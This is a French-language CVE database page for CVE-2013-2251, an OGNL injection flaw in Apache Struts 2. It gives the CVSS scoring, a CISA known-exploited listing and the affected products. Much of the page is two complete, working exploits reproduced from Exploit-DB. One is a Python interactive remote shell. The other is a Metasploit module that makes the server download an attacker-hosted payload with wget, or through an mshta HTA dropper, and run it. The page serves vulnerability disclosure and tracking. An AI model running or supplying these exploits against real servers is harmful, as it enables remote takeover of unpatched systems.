CVE-2013-2251 : Détail

CVE-2013-2251

9.8
/
Critique
A03-Injection
97.04%V3
Network
2013-07-18
01h00 +00:00
2025-02-07
13h32 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Apache Struts 2.0.0 through 2.3.15 allows remote attackers to execute arbitrary OGNL expressions via a parameter with a crafted (1) action:, (2) redirect:, or (3) redirectAction: prefix.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Apache Struts Improper Input Validation Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-03-24 23h00 +00:00

Action attendue : 2022-04-14 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 48917

Date de publication : 2020-10-19 22h00 +00:00
Auteur : Jonatas Fil
EDB Vérifié : No

# Exploit Title: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution # Google Dork: ext:action | filetype:action # Date: 2020/09/09 # Exploit Author: Jonatas Fil # Vendor Homepage: http://struts.apache.org/release/2.3.x/docs/s2-016.html # Version: <= 2.3.15 # Tested on: Linux # CVE : CVE-2013-2251 #!/usr/bin/python # # coding=utf-8 # # Struts 2 DefaultActionMapper Exploit [S2-016] # Interactive Shell for CVE-2013-2251 # # The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with # "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with # attaching navigational information to buttons within forms. # # https://struts.apache.org/docs/s2-016.html # Jonatas Fil (@exploitation) import requests import sys import readline # Disable SSL requests.packages.urllib3.disable_warnings() # ShellEvil if len(sys.argv) == 2: target = sys.argv[1] # Payload first = target + "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','" second = "'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}" loop = 1 while loop == 1: cmd = raw_input("$ ") while cmd.strip() == '': cmd = raw_input("$ ") if cmd.strip() == '\q': print("Exiting...") sys.exit() try: headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"} pwn=requests.get(first+cmd+second,headers = headers,verify=False) # Disable SSL if pwn.status_code == 200: print pwn.content # 1337 else: print("Not Vuln !") sys.exit() except Exception,e: print e print("Exiting...") sys.exit() else: # BANNER print(''' __ _ _ _ __ _ _ / _\ |__ ___| | | /__\_ _(_) | \ \| '_ \ / _ \ | |/_\ \ \ / / | | _\ \ | | | __/ | //__ \ V /| | | \__/_| |_|\___|_|_\__/ \_/ |_|_| by Jonatas Fil [@explotation] ''') print("======================================================") print("# Struts 2 DefaultActionMapper Exploit [S2-016] #") print("# USO: python struts.py http://site.com:8080/xxx.action #") print("======================================================") print("bye") sys.exit()
Exploit Database EDB-ID : 27135

Date de publication : 2013-07-26 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution', 'Description' => %q{ The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code. This module has been tested successfully on Struts 2.3.15 over Tomcat 7, with Windows 2003 SP2 and Ubuntu 10.04 operating systems. }, 'License' => MSF_LICENSE, 'Author' => [ 'Takeshi Terada', # Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit modules ], 'References' => [ [ 'CVE', '2013-2251' ], [ 'OSVDB', '95405' ], [ 'BID', '61189' ], [ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-016.html' ] ], 'Platform' => [ 'win', 'linux'], 'Targets' => [ ['Automatic', {}], ['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DisclosureDate' => 'Jul 2 2013', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Action URI', '/struts2-blank/example/HelloWorld.action']), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 60]), # It isn't OptPath becuase it's a *remote* path OptString.new("WritableDir", [ true, "A directory where we can write files (only on Linux targets)", "/tmp" ]) ], self.class) end def on_new_session(session) if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end @dropped_files.delete_if do |file| false unless file =~ /\.exe/ win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" begin wintemp = session.fs.file.expand_path("%TEMP%") win_file = "#{wintemp}\\#{win_file}" session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|) session.fs.file.rm(win_file) print_good("Deleted #{file}") true rescue ::Rex::Post::Meterpreter::RequestError print_error("Failed to delete #{win_file}") false end end end super end def start_http_service #do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = srv_host + ':' + datastore['SRVPORT'].to_s print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => '/' } }) datastore['SSL'] = true if ssl_restore return service_url end def check uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET' }) if res.nil? or res.code != 200 print_error("#{rhost}:#{rport} - Check needs a valid action, returning 200, as TARGETURI") return Exploit::CheckCode::Unknown end proof = rand_text_alpha(6 + rand(4)) res = send_request_cgi({ 'uri' => "#{uri}?redirect:%25{new%20java.lang.String('#{proof}')}", 'method' => 'GET' }) if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Unknown end def auto_target uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET' }) if res.nil? or res.code != 200 fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - In order to autodetect, a valid action, returning 200, must be provided as TARGETURI, returning 200") end proof = rand_text_alpha(6 + rand(4)) res = send_request_cgi({ 'uri' => "#{uri}?redirect:%25{new%20java.io.File('.').getCanonicalPath().concat('#{proof}')}", 'method' => 'GET' }) if res and res.code == 302 and res.headers['Location'] =~ /#{proof}/ if res.headers['Location'] =~ /:\\/ return targets[1] # Windows else return targets[2] # Linux end end fail_with(Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto-detection didn't work") end def exploit_linux downfile = rand_text_alpha(8+rand(8)) @pl = @exe @pl_sent = false # # start HTTP service if necessary # service_url = start_http_service # # download payload # fname = datastore['WritableDir'] fname = "#{fname}/" unless fname =~ %r'/$' fname << downfile uri = normalize_uri(target_uri.path) uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'wget','#{service_url}','-O',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Downloading payload to #{fname}...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # # wait for payload download # wait_payload register_file_for_cleanup(fname) # # chmod # uri = normalize_uri(target_uri.path) uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'chmod','777',new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Make payload executable...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # # execute # uri = normalize_uri(target_uri.path) uri << "?redirect:%25{(new%20java.lang.ProcessBuilder(new%20java.lang.String('#{fname.gsub(/\//,"$")}').replace('$','\\u002f'))).start()}" print_status("#{rhost}:#{rport} - Execute payload...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end end def exploit_windows @var_exename = rand_text_alpha(4 + rand(4)) + '.exe' @pl = build_hta @pl_sent = false # # start HTTP service if necessary # service_url = start_http_service # # execute hta # uri = normalize_uri(target_uri.path) uri << "?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'mshta',new%20java.lang.String('http:nn#{service_url}').replace('n','\\u002f')})).start()}" print_status("#{rhost}:#{rport} - Execute payload through malicious HTA...") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? or res.code != 302 fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - OGNL injection failed") end # # wait for payload download # wait_payload register_file_for_cleanup(@var_exename) end def exploit if target.name =~ /Automatic/ print_status("#{rhost}:#{rport} - Target autodetection...") my_target = auto_target print_good("#{rhost}:#{rport} - #{my_target.name} target found!") else my_target = target end p = exploit_regenerate_payload(my_target.platform, my_target.arch) @exe = generate_payload_exe({:code => p.encoded, :platform => my_target.platform, :arch => my_target.arch}) if my_target.name =~ /Linux/ if datastore['PAYLOAD'] =~ /windows/ fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Linux, but you've selected a Windows payload!") end exploit_linux elsif my_target.name =~ /Windows/ if datastore['PAYLOAD'] =~ /linux/ fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - The target is Windows, but you've selected a Linux payload!") end exploit_windows end end # Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("#{rhost}:#{rport} - URI requested: #{request.inspect}") if (not @pl) print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") return end print_status("#{rhost}:#{rport} - Sending the payload to the server...") @pl_sent = true send_response(cli, @pl) end # wait for the data to be sent def wait_payload print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...") waited = 0 while (not @pl_sent) select(nil, nil, nil, 1) waited += 1 if (waited > datastore['HTTP_DELAY']) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") end end end def build_hta var_shellobj = rand_text_alpha(rand(5)+5); var_fsobj = rand_text_alpha(rand(5)+5); var_fsobj_file = rand_text_alpha(rand(5)+5); var_vbsname = rand_text_alpha(rand(5)+5); var_writedir = rand_text_alpha(rand(5)+5); var_origLoc = rand_text_alpha(rand(5)+5); var_byteArray = rand_text_alpha(rand(5)+5); var_writestream = rand_text_alpha(rand(5)+5); var_strmConv = rand_text_alpha(rand(5)+5); # Doing in this way to bypass the ADODB.Stream restrictions on JS, # even when executing it as an "HTA" application # The encoding code has been stolen from ie_unsafe_scripting.rb print_status("#{rhost}:#{rport} - Encoding payload into vbs/javascript/hta..."); # Build the content that will end up in the .vbs file vbs_content = Rex::Text.to_hex(%Q| Dim #{var_origLoc}, s, #{var_byteArray} #{var_origLoc} = SetLocale(1033) |) # Drop the exe payload into an ansi string (ansi ensured via SetLocale above) # for conversion with ADODB.Stream vbs_ary = [] # The output of this loop needs to be as small as possible since it # gets repeated for every byte of the executable, ballooning it by a # factor of about 80k (the current size of the exe template). In its # current form, it's down to about 4MB on the wire @exe.each_byte do |b| vbs_ary << Rex::Text.to_hex("s=s&Chr(#{("%d" % b)})\n") end vbs_content << vbs_ary.join("") # Continue with the rest of the vbs file; # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent # Then use ADODB.Stream again to write the binary to file. #print_status("Finishing vbs..."); vbs_content << Rex::Text.to_hex(%Q| Dim #{var_strmConv}, #{var_writedir}, #{var_writestream} #{var_writedir} = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\#{@var_exename}" Set #{var_strmConv} = CreateObject("ADODB.Stream") #{var_strmConv}.Type = 2 #{var_strmConv}.Charset = "x-ansi" #{var_strmConv}.Open #{var_strmConv}.WriteText s, 0 #{var_strmConv}.Position = 0 #{var_strmConv}.Type = 1 #{var_strmConv}.SaveToFile #{var_writedir}, 2 SetLocale(#{var_origLoc})|) hta = <<-EOS <script> var #{var_shellobj} = new ActiveXObject("WScript.Shell"); var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject"); var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%"); var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true); #{var_fsobj_file}.Write(unescape("#{vbs_content}")); #{var_fsobj_file}.Close(); #{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true); #{var_shellobj}.run(#{var_writedir} + "\\\\" + "#{@var_exename}", 0, false); #{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs"); window.close(); </script> EOS return hta end end

Products Mentioned

Configuraton 0

Apache>>Archiva >> Version From (including) 1.3 To (excluding) 1.3.8

Apache>>Archiva >> Version 1.2

Apache>>Archiva >> Version 1.2.2

Apache>>Struts >> Version From (including) 2.0.0 To (including) 2.3.15

Configuraton 0

Fujitsu>>Interstage_business_process_manager_analytics >> Version 12.0

    Microsoft>>Windows_server_2003 >> Version -

    Microsoft>>Windows_server_2008 >> Version -

    Redhat>>Enterprise_linux >> Version From (including) 5.0 To (including) 6.10

    Configuraton 0

    Fujitsu>>Interstage_business_process_manager_analytics >> Version 12.1

      Microsoft>>Windows_server_2003 >> Version -

      Microsoft>>Windows_server_2008 >> Version -

      Microsoft>>Windows_server_2012 >> Version -

      Oracle>>Solaris >> Version 11

      Redhat>>Enterprise_linux >> Version From (including) 5.0 To (including) 6.10

      Configuraton 0

      Fujitsu>>Gp7000f_firmware >> Version -

      Fujitsu>>Gp7000f >> Version -

      Configuraton 0

      Fujitsu>>Primepower_firmware >> Version -

      Fujitsu>>Primepower >> Version -

      Configuraton 0

      Fujitsu>>Gp-s_firmware >> Version -

        Fujitsu>>Gp-s >> Version -

          Configuraton 0

          Fujitsu>>Primergy_firmware >> Version -

            Fujitsu>>Primergy >> Version -

              Configuraton 0

              Fujitsu>>Gp5000_firmware >> Version -

                Fujitsu>>Gp5000 >> Version -

                  Configuraton 0

                  Fujitsu>>Sparc_firmware >> Version -

                    Fujitsu>>Sparc >> Version -

                      Configuraton 0

                      Oracle>>Siebel_apps_-_e-billing >> Version 6.1

                      Oracle>>Siebel_apps_-_e-billing >> Version 6.1.1

                      Oracle>>Siebel_apps_-_e-billing >> Version 6.2

                      Références

                      http://seclists.org/fulldisclosure/2013/Oct/96
                      Tags : mailing-list, x_refsource_FULLDISC
                      http://osvdb.org/98445
                      Tags : vdb-entry, x_refsource_OSVDB
                      http://www.securitytracker.com/id/1032916
                      Tags : vdb-entry, x_refsource_SECTRACK
                      http://www.securityfocus.com/bid/61189
                      Tags : vdb-entry, x_refsource_BID
                      http://www.securitytracker.com/id/1029184
                      Tags : vdb-entry, x_refsource_SECTRACK
                      http://www.securityfocus.com/bid/64758
                      Tags : vdb-entry, x_refsource_BID
                      http://seclists.org/oss-sec/2014/q1/89
                      Tags : mailing-list, x_refsource_MLIST